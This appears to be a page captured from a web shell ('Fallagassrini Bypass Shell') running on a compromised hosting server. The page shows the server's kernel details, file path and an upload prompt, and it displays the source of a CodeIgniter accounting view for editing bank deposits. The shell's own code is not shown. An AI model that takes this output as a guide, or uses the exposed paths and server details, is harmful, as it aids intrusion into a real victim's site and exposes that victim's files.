? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Accounting/edit_bank_deposit.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<script type="text/javascript" src="<?=base_url()?>/assets/js/autonumeric.js"></script>
<style>
.newcls
    {
      	border:none;
        background-color: #fff;
        width:185px;
     }
 </style>
<script>
        jQuery(document).ready(function ()
        {
                $('.one').datepick({dateFormat: 'dd-mm-yyyy'});
                  $('.two').datepick({dateFormat:  'dd-mm-yyyy'});
                 $('input.auto').autoNumeric();
                 checkfiscalyearedit("begin","mycompany");
                    suggestaccounts('code');
        });
        function suggestaccounts(id)
        {   
            $("#"+id).autocomplete("<?= site_url() ?>/master/autosuggestaccounts/", {
                width: 320,
                selectFirst: false
            });
        }

        function getcode(val,id)
            {
                id='code'+id;
                document.getElementById(id).value=val;
            }


        function parseelement(thisone)
            {
                var wd
                 if(isNaN(thisone.value))
                        {

                            alert('enter a number');
                            document.getElementById('amount').value='';
                            document.getElementById('amount').focus();
                             return false;
                         }
                 else
                         {
                                    wd="w"
                                    var tempnum=thisone.value
                                    for (i=0;i<tempnum.length;i++)
                                        {
                                            if (tempnum.charAt(i)==".")
                                                {
                                                    wd="d";
                                                    break;
                                                }
                                         }
                                if (wd=="w")
                                    thisone.value=tempnum+".00"
                                else
                                {

                                    if (tempnum.charAt(tempnum.length-2)==".")
                                         {
                                             thisone.value=tempnum+"0";
                                          }
                                    else if (tempnum.charAt(tempnum.length-3)==".")
                                         {
                                             thisone.value=tempnum;
                                         }
                                    else if(tempnum.indexOf('.')=='-1')
                                        {
                                             thisone.value=tempnum+".00";
                                        }
                                    else {
                                            tempnum=Math.round(tempnum*100)/100
                                             thisone.value=tempnum;
                                         }
                                }
                         }
            }

    Number.prototype.formatMoney = function(c, d, t){
            var n = this, c = isNaN(c = Math.abs(c)) ? 2 : c, d = d == undefined ? "," : d, t = t == undefined ? "." : t, s = n < 0 ? "-" : "", i = parseInt(n = Math.abs(+n || 0).toFixed(c)) + "", j = (j = i.length) > 3 ? j % 3 : 0;
            return s + (j ? i.substr(0, j) + t : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + t) + (c ? d + Math.abs(n - i).toFixed(c).slice(2) : "");
    };


    </script>

<div class="select-bar">
<label>
    <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="showunpostbank_dep(1)" alt="Back" align = "center" width="25" height="25"  /></label>

</div>
<div id="temp" style="display:none"></div>
<div id="viewmsg"></div>


<?php
 $attributes = array('id' => 'customForm');
 echo form_open('accounting/Insertbankpayment',$attributes);
 ?>
<fieldset>
        <legend> Edit Bank Account Deposit Entry</legend>
<fieldset class="bankfieldset4">
            <ul>

                <li>

                    <label>To:</label><select name="bankacc" id="bankacc" style="width:140px" >
                                 <?php

                                     foreach ($result as $key => $res)
				         {
                                         $bankid=$res['acc_id'];
                                         $reference1=$res['reference'];
                                          $datei=$res['date'];
                                          $method=$res['method'];

                                         }

                                     $date= $this->mastermodel->convdatformat($datei);
                                     $reference= $this->customermodel->getSingleFieldValue('refs','reference','id',$reference1);
                                     $bankacc=$this->mastermodel->getdatas('bank_accounts');
				        if (count($bankacc))
				         {
				        foreach ($bankacc as $key => $acc)
				         {


                                              if($acc['id']==$bankid)
                                                    {
                                                        $selected='selected';
                                                    }

                                                    else
                                                        {

                                                        $selected='';
                                                    }
				        echo "<option $selected value='".$acc['id'].'~'.$acc['account_code']. "' >" . $acc['bank_account_name'] . "</option>";
				         }
                                         }
                    ?>
                       </select><br/><span id="fromInfo" class="red_bold"></span>
                </li>
            <li></li>
            </ul>


        </fieldset>
        <fieldset class="bankfieldset4">
            <ul>


                <li>
                    <label>Transaction No:</label> <input type="text" readonly value="<?=$reference?>"  style="width:125px" onchange="data_exist(this)" name="ref" id="ref"><span id="refInfo" class="red_bold"></span>
               <input type="hidden" value="<?=$reference1?>" name="refid" >

                </li>
                 <li></li>
            </ul>


        </fieldset>
          <fieldset class="bankfieldset4">
            <ul>


                <li>
                    <label> Date:</label><input class="one"  style="width:125px" type="text"  value="<?php echo $date; ?>" readonly="readonly" name="date" id="date"><span id="dateInfo" class="red_bold">&nbsp;</span>

                </li>
                <li></li>
            </ul>


        </fieldset>

         <fieldset class="bankfieldset4">
            <ul>


                <li>
                    <label> Payment Method</label><select name="method" id="method" style="width:125px" onchange="showpaymentspan(this.value)" ><option <?php if($method=='cash'){ echo "selected";}  ?> value="cash">Cash</option>
                        <option <?php if($method=='cheque'){ echo "selected";} ?> value="cheque">Cheque</option></select>

                </li>
                <li></li>
            </ul>


        </fieldset>

        <br/>
<?php
if($method=='cheque')
{
    $ch_details=$this->mastermodel->get_data_srow('receipt_cheque',$reference1,'reference');
    $ch_date=$ch_details->ch_date;
    $ch_date=$this->mastermodel->convdatformat($ch_date);
    $bankname=$ch_details->bank_name;
    $ch_no=$ch_details->cheque_no;
}

else
{
   $ch_date=date('d-m-Y');
    $bankname='';
    $ch_no='';
}
?>
        <span <?php if($method=='cheque') echo "style='display:block'"; else echo "style='display:none'";  ?>  id="paymentmethod">  <fieldset class="bankfieldset">
            <ul>


                <li>
                    <label>Cheque Date:</label> <input type="text" class="two"  style="width:125px"   value="<?php echo $ch_date; ?>" readonly="readonly" name="ch_date" id="ch_date"><br/>


                </li>
                 <li></li>
            </ul>


        </fieldset>
          <fieldset class="bankfieldset">
            <ul>


                <li>
                    <label>Cheque Drawn :</label><input style="width:125px" type="text" value="<?php echo $bankname; ?>"   name="bankname" id="bankname">

                </li>
                <li></li>
            </ul>


        </fieldset>
        <fieldset class="bankfieldset">
            <ul>


                <li>
                     <label>Cheque No.:</label><input style="width:125px" type="text" value="<?php echo $ch_no; ?>"   name="ch_no" id="ch_no">

                </li>
                <li></li>
            </ul>


        </fieldset></span>

    
</fieldset>
<br/><br/>
<input type="hidden" name="bank_trans_type" value="other" id="bank_trans_type"/>
<fieldset><legend>Deposit Items</legend>
<input type="hidden" value="<?=count($result)?>" name="counter" id="counter"/><!--for validation-->
<input type="hidden" value="<?=count($result)-1?>" name="counter_check" id="counter_check"/> <!--- for sending count ot table to model for "for loop" ---->
<input type="hidden" name="class_ch" id="class_ch"/><!--- for change class for edit-->
<input type="hidden" name="pay_n_dep" value="2" id="pay_n_dep"/><!--- To know which type of transaction-->
<table   class="sort" id="adddivx">
           <thead> <tr>
            <th width="30%">Acc code</th>
          
            <th width="30%">Amount</th>
             <th width="30%">Memo</th>
	    <th width="10%"> Action</th>
               </tr>
           </thead>
        <tr id="dvFiles0">
            <td><input style='width:185px;' type="text"  id="code" />
                <input style='width:185px;' type="hidden" id="code_id" />
            </td>
            
            <td>
                <input style="width:185px" type="text" class="auto"  id="amount" />
            </td>
            <td style="padding-bottom:15px;">
                <textarea id="memo" style='width:170px;height:50px' ></textarea>
            </td>
            <td style="padding-bottom:15px;">
                <img src="<?=base_url()?>/assets/images/add-icon.png" title="Add New"  class="clickimage" onclick="add_details(1)" alt="Add New" align = "top" width="25" height="25"  />
            </td>
        </tr>
    </table>
 <div id="adddiv">

<?php
 $k=0;
 $sum_amt=0;
foreach ($result as $key => $res1)
             {
             $account=$res1['account'];
             $amount=0-$res1['amount'];
             $sum_amt+=$amount;
             $memo=$res1['memo'];
             $acc_name= $this->customermodel->getSingleFieldValue('chart_master','account_name','account_code',$account);
     echo "<table class='banksort' id='adddivtab_$k'> 
             
             <tr id='nwdiv_$k'  >
             <td>
             <input class='newcls' id='code_$k'  type='text'  readonly  value='".$account."'/>
              <input class='newcls' id='code".$k."_id_"."$k' name='code_$k' type='hidden'  readonly  value='".$account."'/>
             </td>
             <td width='100px'>
             <input class='newcls' type='text' id='desc_$k' name='desc_$k' readonly   value='".$acc_name."'/>
                 <input  type='hidden' name='hidedesc_".$k."' id='hidedesc_".$k."'   value='".$account."'/>
            </td>
                <td width='15%'><input class='newcls'id='amount_".$k."' name='amount_".$k."' readonly type='text'  value=".$amount.">
                </td><td width='10%'><textarea readonly class='newcls' style='width:150px;height:50px' id='memo_".$k."'  name='memo_".$k."'>".$memo."</textarea></td>
                 <td style='width:20%'>";?>
                <img name='edit[]' src='<?=base_url()?>/assets/images/edit-icon.gif' width='20px' height='20px' class='clickimage' onclick='calledit(<?=$k?>)'>
                <img name='del[]' src='<?=base_url()?>/assets/images/delete-icon.png' width='20px' height='20px' class='clickimage' onclick='delcall(<?=$k?>)'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              <?php echo " </td></tr>
                <tr style='display:none;'  id='eddiv_$k' ><td >
               <input style='width:185px;' readonly type='text' onchange='loadaccountname(this.value,".$k.")' id='code".$k."' name='code".$k."'  value='".$account."'/>
                 <input  style='width:185px;'  type='hidden' id='code".$k."_id".$k."'  readonly   value='".$account."'/>   
                </td>
                <td width='100px'>

                <div class='accdiv'><input style='width:165px;' name='desc".$k."' id='desc".$k."'  type='text' readonly value='".$acc_name."'/>
         
                <div style='display:none'><div id='inline_example".$k."' style='padding:10px; background:#fff;'>
                </div></div></div>

                </td>
                <td width='15%'><input type='text'  style='text-align:right;width:185px' class='auto' onfocus='checknumeric()'  name='amount".$k."' id='amount".$k."'  value=".$amount.">
                </td><td width='10%'><textarea style='width:150px;height:50px'  name='memo".$k."' id='memo".$k."' >".$memo."</textarea></td>
                <td style='width:20%;'>";
                ?>
                <img name='ok[]' src='<?=base_url()?>/assets/images/ok-icon.png' width='22px' height='22px' class='clickimage' onclick='updatecall(<?=$k?>)'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              
                <?php
                echo " </td></tr></table>";
            
              $k++;
             }
   ?>

     


 </div>
            <div style="float:right"><span><input type="text" style="width:75px" class="newcls" readonly="readonly"  value="Total:" />
                    <input type="hidden" id="sumamount" class="newcls" readonly="readonly" value="<?=$sum_amt?>" name="sumamount"/>
                    <input type="text" id="showsumamount" class="newcls" readonly="readonly"  value="<?=$sum_amt?>.00" /></span></div>
      <br/> <fieldset style="width:100%;text-align:center;border: none;margin: 10px 0 10px 0"><button type="submit" class="clickimage" name="add_pay" onclick="return insertbankpay()" id="button1" >Update Deposit</button>
      </fieldset></fieldset>
<?php
echo form_close();
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net